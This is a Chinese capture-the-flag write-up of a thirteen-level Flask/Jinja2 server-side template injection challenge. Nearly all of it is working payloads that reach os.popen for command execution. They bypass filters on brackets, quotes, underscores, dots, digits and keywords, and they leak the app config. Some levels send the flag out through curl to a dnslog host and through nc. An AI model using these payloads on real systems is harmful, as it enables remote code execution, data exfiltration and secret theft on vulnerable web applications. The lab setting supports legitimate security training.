Level1

找<class ‘os._wrap_close’>没啥好说

1
2
3
4
5
{{''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')}}

{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}

{str(''.__class__.__base__.__subclasses__()[127].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read())}

image-20241031202054709

判断可导入模块__import___

image-20241101084628861

发现80818283可以import执行

Level2

{{}}被过滤,使用{{%print %}}来bypass

1
{%print''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}

使用dnslog外带

1
{% if ().__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen("curl `cat flag`yiyi.eyes.sh").read()=='ssti' %}1{% endif %}

Level3

盲注

dnslog外带

1
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag``yiyi.eyes.sh').read()}}{% endif %}{% endfor %}

nc外带

1
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc ip port').read()}}{% endif %}{% endfor %}

Level4

过滤了[ ],这里有两种情况下的过滤

  • 使用pop__getitem__()代替索引中的[]
  • 使用__getattribute__代替魔术方法中的[]
1
2
3
4
5
6
7
8
# os
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(213).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

# popen
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.__getitem__('popen')('cat flag').read()}}

# 一句话
{% for i in ''.__class__.__mro__.__getitem__(-1).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}

一步步来

1
{{''.__class__.__mro__[1]}}

报waf

1
{{''.__class__.__mro__.__getitem__(0)}}

image-20241101090020698

1
{{''.__class__.__mro__.__getitem__(1).__subclasses__()}}
1
{{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('ls').read()}}

image-20241101090342864

也可以用一句话查找索引

1
{% for i in ''.__class__.__mro__.__getitem__(-1).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('ls').read()}}{% endif %}{% endfor %}

Level-5

过滤了单、双引号,有两种方法绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#post
# __builtins__
{{().__class__.__base__.subclasses__()[80].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).popen(request.values.arg3).read()}}
POST:arg1=__import__,arg2=os,arg3=popen

# popen
{{().__class__.__base__.subclasses__()[132].__init__.__globals__[request.values.arg1](request.values.arg2).read()}}
POST:arg1=popen,arg2=cat flag

# os
{{().__class__.__base__.subclasses__()[213].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}
POST:arg1=popen,arg2=cat flag


#cookie
# popen
{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[request.values.arg1](request.values.arg2).read()}}
Cookie:arg1=popen,arg2=cat flag

post

1
2
code={{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[request.values.arg1](request.values.arg2).read()}}
&arg1=popen&arg2=ls

image-20241101092818985

cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /level/5 HTTP/1.1
Host: node5.anna.nssctf.cn:21111
Content-Length: 132
Cache-Control: max-age=0
Origin: http://node5.anna.nssctf.cn:21111
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node5.anna.nssctf.cn:21111/level/5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: arg1=popen;arg2=ls
Connection: close

code={{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[request.cookies.arg1](request.cookies.arg2).read()}}

image-20241101093947009

Level-6

过滤下划线

\x5f替代下划线,用[]包裹

1
code={{''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('ls').read()}}

Level-7

过滤了点 用[]绕过

1
code= {{''['__class__']['__bases__'][0]['__subclasses__']()[133]['__init__']['__globals__']['popen']('ls')['read']()}}

Level-8

过滤大量关键词,使用+号拼接

1
code={{''['__cla'+'ss__']['__bas'+'es__'][0]['__subclas'+'ses__']()[133]['__in'+'it__']['__gl'+'obals__']['po'+'pen']('l'+'s')['rea'+'d']()}}

Level-9

过滤了数字

  • 用循环找到能利用的类直接用
1
code={% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('ls').read()}}{% endif %}{% endfor%}
  • 用lipsum不通过数字直接利用
1
code={{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
  • 构造数字进行拼接

构造数字

1
2
3
4
5
6
7
8
9
10
{%set zero=([]|string|list).index('[')%}
{%set one=dict(a=a)|join|count%}
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{%set four=dict(aaaa=a)|join|count%}
{%set five=dict(aaaaa=a)|join|count%}
{%set six=dict(aaaaaa=a)|join|count%}
{%set seven=dict(aaaaaaa=a)|join|count%}
{%set eight=dict(aaaaaaaa=a)|join|count%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}

拼接payload

1
2
3
4
5
{%set one=dict(a=a)|join|count%}
{%set two=dict(aa=a)|join|count%}
{%set three=dict(aaa=a)|join|count%}
{% set eryisan=(two~one~three)|int %}
{{().__class__.__base__.__subclasses__()[eryisan].__init__.__globals__['os'].popen('cat flag').read()}}

Level-10

WAF: set config = None

这一关的目标不是flag,而是获取config,可以通过current_app来获取

  • url_for
1
{{url_for.__globals__['current_app'].config}}
  • get_flashed_messages
1
{{get_flashed_messages.__globals__['current_app'].config}}

image-20241101103116339

Level-11

绕过了' " + request . [ ]

确定一个利用的基本payload

1
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}

输入

1
{{lipsum|string|list}}

得到

1
Hello ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '1', 'f', '1', '3', '1', '5', 'e', 'c', 'a', '0', '>']

这样就可以考虑用pop去取我们需要的字符来构造payload

但是attr()里面要求的是字符串,使用pop的时候需要引号或者点号 会被waf拦截

1
{{(lipsum|string|list).pop(18)}}

于是可以尝试通过set可以给字符串赋值,通过dictjoin可以绕过引号获取字符串

构造ls

1
2
3
4
5
6
7
8
9
10
11
{% set pop=dict(pop=1)|join%} #attr()里面要求的是字符串,直接输pop需要用引号''包围起来,但是这里又过滤了引号,所以要先构造一个pop字符串
{% set underline=(lipsum|string|list)|attr(pop)(18)%} #下划线
{% set globals=(underline,underline,dict(globals=1)|join,underline,underline)|join%} #构造__globals__
{% set getitem=(underline,underline,dict(getitem=1)|join,underline,underline)|join %} #构造__getitem__
{% set space=(lipsum|string|list)|attr(pop)(9)%} #空格
{% set os=dict(os=1)|join%}
{% set popen=dict(popen=1)|join%}
{% set cat=dict(ls=1)|join%} #ls
{% set cmd=(cat,space)|join%}
{% set read=dict(read=1)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

得到payload

1
2
3
4
5
6
7
8
9
10
11
{% set pop=dict(pop=1)|join%}
{% set underline=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(underline,underline,dict(globals=1)|join,underline,underline)|join%}
{% set getitem=(underline,underline,dict(getitem=1)|join,underline,underline)|join%}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=1)|join%}
{% set popen=dict(popen=1)|join%}
{% set cat=dict(ls=1)|join%}
{% set cmd=(cat,space)|join%}
{% set read=dict(read=1)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

image-20241101142734228

构造ls app

1
2
3
4
5
6
7
8
9
10
11
12
{% set pop=dict(pop=1)|join%}
{% set underline=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(underline,underline,dict(globals=1)|join,underline,underline)|join%}
{% set getitem=(underline,underline,dict(getitem=1)|join,underline,underline)|join%}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=1)|join%}
{% set popen=dict(popen=1)|join%}
{% set cat=dict(ls=1)|join%}
{% set flag=dict(app=1)|join%}
{% set cmd=(cat,space,flag)|join%}
{% set read=dict(read=1)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

由于没有/因此暂时没想到怎么绕过反斜杠读取app/flag

如果本地跑app.py flag是在同一目录下的

Level-12

多过滤了数字和下划线

ls

1
2
3
4
5
6
7
8
9
10
11
12
13
{% set nine=dict(abcdefghi=a)|join|length %}
{% set eighteen=nine+nine %}
{% set pop=dict(pop=a)|join%}
{% set underline=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{% set getitem=(underline,underline,dict(getitem=a)|join,underline,underline)|join%}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(ls=a)|join%}
{% set cmd=(cat,space)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

ls app

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{% set nine=dict(abcdefghi=a)|join|length %}
{% set eighteen=nine+nine %}
{% set pop=dict(pop=a)|join%}
{% set underline=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{% set getitem=(underline,underline,dict(getitem=a)|join,underline,underline)|join%}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(ls=a)|join%}
{% set flag=dict(app=a)|join%}
{% set cmd=(cat,space,flag)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

Level 13

多过滤了几个关键字,而且又把+也过滤了,但是没什么影响

ls

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{% set nine=dict(abcdefghi=a)|join|length %}
{% set two=dict(ab=a)|join|length %}
{% set eighteen=nine*two %}
{% set pop=dict(pop=a)|join%}
{% set underline=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{% set getitem=(underline,underline,dict(getitem=a)|join,underline,underline)|join%}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(ls=a)|join%}
{% set cmd=(cat,space)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

env

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{% set nine=dict(abcdefghi=a)|join|length %}
{% set two=dict(ab=a)|join|length %}
{% set eighteen=nine*two %}
{% set pop=dict(pop=a)|join%}
{% set underline=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{% set getitem=(underline,underline,dict(getitem=a)|join,underline,underline)|join%}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set env=dict(env=a)|join%}
{% set cmd=(env)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

image-20241101145049578